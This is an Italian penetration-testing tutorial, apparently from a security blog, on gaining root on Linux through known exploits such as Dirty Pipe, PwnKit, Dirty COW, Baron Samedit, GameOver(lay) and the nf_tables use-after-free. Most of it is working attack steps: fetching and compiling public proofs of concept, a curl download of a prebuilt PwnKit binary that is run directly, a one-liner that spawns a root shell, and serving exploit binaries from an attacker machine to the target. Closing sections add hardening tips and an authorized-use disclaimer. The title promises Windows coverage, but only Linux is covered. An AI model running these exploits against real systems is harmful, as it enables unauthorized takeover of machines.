Kernel Exploits: privesc reale su Linux e Windows

Kernel exploits: tecniche reali di privilege escalation su Linux e Windows. Dalla teoria all’exploit pratico in lab.
- Pubblicato il 2026-02-26
- Tempo di lettura: 5 min
Executive Summary — I kernel exploit sono l’ultimo resort nella Linux Privilege Escalation (https://hackita.it/articoli/linux-privesc): quando sudo, SUID, cron e capabilities falliscono, resta il kernel. Un kernel exploit sfrutta vulnerabilità nel kernel Linux — il componente con privilegi massimi. Se funziona, ottieni root immediato. Rischio: exploit instabile → kernel panic / crash del sistema. Per questo è l’ultima tecnica in un pentest. Questo articolo copre i principali kernel exploit (2016–2026), identificazione del kernel vulnerabile, ricerca exploit, compilazione ed esecuzione.
TL;DR •
uname -r+cat /etc/os-release→ identifica kernel/distro → match con CVE noti • Dirty Pipe (CVE-2022-0847), Dirty COW (CVE-2016-5195), PwnKit (CVE-2021-4034), GameOver(lay) (CVE-2023-2640 / 32629) = LPE comuni e altamente sfruttati •linux-exploit-suggester→ script che confronta kernel/versione con database exploit → suggerisce LPE compatibili
Workflow — Dal Kernel all’Exploit #
1. uname -r → versione kernel
2. cat /etc/os-release → distribuzione
3. linux-exploit-suggester → CVE suggeriti
4. Verifica su Exploit-DB / GitHub → trova PoC
5. Compila sul target (o cross-compile) → binario
6. Esegui → root (o kernel panic)Step 1: Identifica il kernel #
uname -r5.4.0-42-genericuname -aLinux target 5.4.0-42-generic #46-Ubuntu SMP x86_64 GNU/Linuxcat /etc/os-releaseNAME="Ubuntu"
VERSION="20.04.1 LTS (Focal Fossa)"Step 2: Cerca exploit automaticamente #
# linux-exploit-suggester
bash les.shOutput:
[+] [CVE-2022-0847] DirtyPipe
Details: https://dirtypipe.cm4all.com/
Exposure: probable
Tags: ubuntu=(20.04|21.04|22.04){5.8-5.16}
Download URL: https://haxx.in/files/dirtypipez.c
[+] [CVE-2021-4034] PwnKit
Details: https://blog.qualys.com/
Exposure: highly probable
Tags: ubuntu=10.04{default}|...
Download URL: https://github.com/.../CVE-2021-4034
[+] [CVE-2021-3156] Baron Samedit
Details: https://blog.qualys.com/
Exposure: probable
Tags: ubuntu=(18.04|20.04){sudo 1.8.2-1.9.5p1}# searchsploit
searchsploit linux kernel 5.4 privilege escalationI Kernel Exploit Critici — Catalogo Completo #
CVE-2022-0847 — Dirty Pipe #
| Dettaglio | Valore |
|---|---|
| CVE | CVE-2022-0847 |
| Nome | Dirty Pipe |
| Kernel | 5.8 → 5.16.11 (fix: 5.16.11, 5.15.25, 5.10.102) |
| Impatto | Sovrascrittura di file read-only → root |
| Affidabilità | Alta — non crashea |
| Distro | Ubuntu 20.04+, Fedora 35, Debian 11 |
Come funziona: sfrutta un bug nella pipe del kernel per sovrascrivere qualsiasi file, anche se read-only. Puoi sovrascrivere /etc/passwd per aggiungere un utente root o sovrascrivere un SUID binary.
# Verifica versione
uname -r
# 5.13.0-28-generic → vulnerabile
# Scarica e compila
wget https://haxx.in/files/dirtypipez.c
gcc dirtypipez.c -o dirtypipez
# Esegui (sovrascrive SUID binary per dare root)
./dirtypipez /usr/bin/suOutput:
[+] hijacking suid binary..
[+] dropping suid shell..
[+] restoring suid binary..
[+] popping root shell.. (dont hierarchical the p]
root@target:#Variante — sovrascrittura /etc/passwd:
# Compila la variante che modifica /etc/passwd
gcc dirty_pipe_passwd.c -o dp
./dp
# Aggiunge utente root con password nota
su piped
# Password: piped → rootCVE-2021-4034 — PwnKit (Polkit pkexec) #
| Dettaglio | Valore |
|---|---|
| CVE | CVE-2021-4034 |
| Nome | PwnKit |
| Componente | pkexec (Polkit) — non strettamente kernel ma sempre presente |
| Versioni | Tutte le versioni di pkexec dal 2009 |
| Impatto | Local privilege escalation → root |
| Affidabilità | Molto alta — quasi mai crashea |
| Distro | Tutte le distro con Polkit installato (quasi tutte) |
Come funziona: pkexec ha un bug nella gestione degli argomenti (argc=0) che permette di iniettare una variabile d’ambiente che carica una libreria malevola.
# Verifica
which pkexec
# /usr/bin/pkexec → presente
ls -la /usr/bin/pkexec
# -rwsr-xr-x → SUID root
# Scarica PoC
git clone https://github.com/ly4k/PwnKit
cd PwnKit
# Compila
make
# Esegui
./PwnKitOutput:
root@target:# id
uid=0(root) gid=0(root) groups=0(root)Versione one-liner (pre-compilata):
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit
./PwnKitCVE-2016-5195 — Dirty COW #
| Dettaglio | Valore |
|---|---|
| CVE | CVE-2016-5195 |
| Nome | Dirty COW (Copy-On-Write) |
| Kernel | 2.6.22 → 4.8.3 (fix: 4.8.3) |
| Impatto | Sovrascrittura file read-only → root |
| Affidabilità | Media — può essere instabile |
| Distro | CentOS 6/7, Ubuntu 14.04/16.04, Debian 7/8 |
# Scarica
searchsploit -m 40839
# Compila
gcc -pthread 40839.c -o dirty_cow -lcrypt
# Esegui (modifica /etc/passwd — aggiunge utente firefart:root)
./dirty_cowVariante per SUID (più stabile):
wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/cowroot.c
gcc cowroot.c -o cowroot -pthread
./cowrootCVE-2021-3156 — Baron Samedit (sudo) #
| Dettaglio | Valore |
|---|---|
| CVE | CVE-2021-3156 |
| Nome | Baron Samedit |
| Componente | sudo 1.8.2 → 1.9.5p1 |
| Impatto | Heap overflow in sudoedit → root |
| Affidabilità | Alta (con exploit corretto per la distro) |
| Distro | Ubuntu 18.04/20.04, Debian 10, CentOS 7/8 |
# Verifica versione sudo
sudo --version
# Sudo version 1.8.31 → vulnerabile
# Test (se crashea, è vulnerabile)
sudoedit -s '\' $(python3 -c 'print("A"*1000)')# Scarica exploit
git clone https://github.com/blasty/CVE-2021-3156
cd CVE-2021-3156
# Compila (scegli il target giusto per la distro)
make
# Esegui
./sudo-hax-me-a-sandwich 0 # 0 = Ubuntu 20.04Output:
# id
uid=0(root) gid=0(root) groups=0(root)CVE-2023-2640 / CVE-2023-32629 — GameOver(lay) #
| Dettaglio | Valore |
|---|---|
| CVE | CVE-2023-2640, CVE-2023-32629 |
| Nome | GameOver(lay) |
| Kernel | Ubuntu kernels con OverlayFS (5.15 - 6.2) |
| Impatto | OverlayFS capability bypass → root |
| Affidabilità | Alta |
| Distro | Ubuntu 22.04, 23.04 (kernel specifici Ubuntu) |
# One-liner
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p]* l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("bash")'CVE-2024-1086 — nf_tables Use-After-Free #
| Dettaglio | Valore |
|---|---|
| CVE | CVE-2024-1086 |
| Nome | nf_tables UAF |
| Kernel | 3.15 → 6.8 (fix: 6.8) |
| Impatto | Use-after-free in netfilter → root |
| Affidabilità | Buona su kernel supportati |
| Distro | Debian 12, Ubuntu 22.04/23.10 |
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
./exploitCVE-2022-2588 — Dirty Cred #
| Dettaglio | Valore |
|---|---|
| CVE | CVE-2022-2588 |
| Kernel | 3.0 → 5.19 |
| Impatto | Use-after-free in route4 → root |
| Affidabilità | Media |
CVE-2022-34918 — Netfilter heap overflow #
| Dettaglio | Valore |
|---|---|
| CVE | CVE-2022-34918 |
| Kernel | 5.18 → 5.18.9 |
| Impatto | Heap overflow in nf_tables → root |
CVE-2022-0185 — Filesystem context heap overflow #
| Dettaglio | Valore |
|---|---|
| CVE | CVE-2022-0185 |
| Kernel | 5.1 → 5.16.2 |
| Impatto | Heap overflow in legacy_parse_param → root, container escape |
Questo exploit è particolarmente rilevante per la container escape — funziona anche da container non privilegiato.
Tabella Riepilogativa #
| CVE | Nome | Kernel | Affidabilità | Crash risk |
|---|---|---|---|---|
| 2024-1086 | nf_tables UAF | 3.15 - 6.8 | Buona | Medio |
| 2023-2640 | GameOver(lay) | Ubuntu 5.15-6.2 | Alta | Basso |
| 2022-0847 | Dirty Pipe | 5.8 - 5.16.11 | Alta | Basso |
| 2022-0185 | FS Context | 5.1 - 5.16.2 | Media | Medio |
| 2022-2588 | Dirty Cred | 3.0 - 5.19 | Media | Medio |
| 2021-4034 | PwnKit | Tutte con pkexec | Molto alta | Basso |
| 2021-3156 | Baron Samedit | sudo 1.8.2-1.9.5p1 | Alta | Basso |
| 2016-5195 | Dirty COW | 2.6.22 - 4.8.3 | Media | Medio |
Compilazione — Come Preparare l’Exploit #
Sul target (se gcc è disponibile) #
which gcc
# /usr/bin/gcc
gcc exploit.c -o exploit
gcc exploit.c -o exploit -pthread -lcrypt # Se necessarioCross-compilazione (dalla tua macchina) #
Se il target non ha gcc:
# Sulla tua Kali (stessa architettura):
gcc -static exploit.c -o exploit
# -static include tutte le librerie → funziona senza dipendenze
# Trasferisci
python3 -m http.server 8080
# Sul target:
wget http://10.10.10.200:8080/exploit
chmod +x exploit
./exploitPer i metodi di file transfer: wget, curl, nc, scp, base64.
Se il PoC è in Python/Go #
# Python: verifica versione
python3 --version
# Go: compila staticamente sulla tua macchina
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o exploit exploit.go
# Trasferisci il binario compilatoRischi e Precauzioni #
⚠️ KERNEL PANIC: un exploit che fallisce può crashare il sistema
→ In un pentest, questo è inaccettabile su sistemi di produzione
→ Testa SEMPRE in lab prima
→ Chiedi autorizzazione specifica per kernel exploit
⚠️ INSTABILITÀ: anche un exploit che funziona può lasciare il kernel
instabile → monitora il sistema dopo l'esecuzione
⚠️ RILEVAMENTO: kernel exploit generano eventi anomali nei log
→ auditd, syslog, dmesg possono mostrare tracce
⚠️ ORDINE: tenta SEMPRE le tecniche non-kernel prima
→ sudo, SUID, cron, capabilities, NFS, Docker sono più sicure
→ Kernel exploit = ultima risorsaCheat Sheet Finale #
Enumerazione #
| Azione | Comando |
|---|---|
| Kernel version | uname -r |
| Full info | uname -a |
| Distro | cat /etc/os-release |
| Auto-suggest | bash les.sh (linux-exploit-suggester) |
| Searchsploit | searchsploit linux kernel [version] |
| sudo version | sudo --version |
| pkexec check | ls -la /usr/bin/pkexec |
Top exploit per anno #
| Anno | CVE | Nome | One-liner / Tool |
|---|---|---|---|
| 2024 | 2024-1086 | nf_tables | ./exploit |
| 2023 | 2023-2640 | GameOver(lay) | unshare -rm sh -c ... |
| 2022 | 2022-0847 | Dirty Pipe | ./dirtypipez /usr/bin/su |
| 2022 | 2021-4034 | PwnKit | ./PwnKit |
| 2021 | 2021-3156 | Baron Samedit | ./sudo-hax-me-a-sandwich 0 |
| 2016 | 2016-5195 | Dirty COW | ./dirty_cow |
Hardening #
- Kernel aggiornato — patch regolari
- Rimuovi pkexec se non necessario
- sudo aggiornato all’ultima versione
- Kernel hardening: KASLR, SMEP, SMAP abilitati
- Seccomp e AppArmor/SELinux per limitare le syscall
kernel.unprivileged_userns_clone=0contro container escape
Riferimento: linux-exploit-suggester, Exploit-DB, kernel.org security advisories. Uso esclusivo in ambienti autorizzati.







